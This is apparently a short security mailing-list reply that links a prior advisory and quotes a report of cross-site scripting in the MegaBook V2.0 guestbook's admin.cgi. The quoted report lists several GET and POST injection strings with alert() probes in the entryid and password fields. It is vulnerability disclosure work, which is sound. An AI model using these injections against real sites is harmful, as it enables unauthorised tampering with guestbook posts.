In-Reply-To: <20050505104551.23441.qmail@xxxxxxxxxxxxxxxxxxxxx> umm.. http://exploitlabs.com/files/advisories/EXPL-A-2003-011-megabook-2.0.txt >Subject: MegaBook V2.0 - Cross Site Scripting Exploit > > > >The ultimate CGI Guestbook Scripts MegaBook V2.0 appears vulnerable to Cross Site Scripting, which will allow the attacker to modify the post in the guestbook. The affected scripts is admin.cgi > >URL: (http://www.(yourdomain).com/(yourcgidir)/admin.cgi) > >I have tested the script with the following query: > >?action=modifypost&entryid="><script>alert('wvs-xss-magic-string-703410097');</script> > >I have also tested the script with theses POST variables: > >action=modifypost&entryid=66&password=<script>alert('wvs-xss-magic-string-188784308');</script> > >action=modifypost&entryid=66&password='><script>alert('wvs-xss-magic-string-486624156');</script> > >action=modifypost&entryid=66&password="><script>alert('wvs-xss-magic-string-1852691616');</script> > >action=modifypost&entryid=66&password=><script>alert('wvs-xss-magic-string-429380114');</script> > >action=modifypost&entryid=66&password=</textarea><script>alert('wvs-xss-magic-string-723975367');</script> > > >Yours, >SpyHat >